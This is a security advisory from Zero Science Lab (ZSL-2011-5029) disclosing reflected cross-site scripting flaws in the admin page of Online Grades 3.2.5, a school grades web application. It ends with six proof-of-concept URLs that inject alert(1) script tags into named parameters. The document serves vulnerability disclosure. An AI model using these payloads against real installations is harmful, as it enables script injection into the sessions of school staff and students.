Online Grades 3.2.5 Multiple XSS Vulnerabilites Vendor: Online Grades Project Team Product web page: http://www.onlinegrades.org Affected version: 3.2.5 Summary: Online Grades is the leading free-software project that allows K-12+ student grades attendance information to be posted onto a dynamic web site. Desc: Online Grades suffers from multiple cross-site scripting vulns. The issue is triggered when input passed via multiple parameters to the 'admin/admin.php' script is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2011-5029 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5029.php 22.07.2011 --- http://localhost/admin/admin.php?func=1"><script>alert(1)</script>&skin=classic http://localhost/admin/admin.php?func=0&skin=1"><script>alert(1)</script> http://localhost/admin/admin.php?func=0&todo=1"><script>alert(1)</script> http://localhost/admin/admin.php?func=0&what=1"><script>alert(1)</script>&who=Faculty http://localhost/admin/admin.php?func=0&what=mail&who=1"><script>alert(1)</script> http://localhost/admin/admin.php/>"><script>alert(1)</script>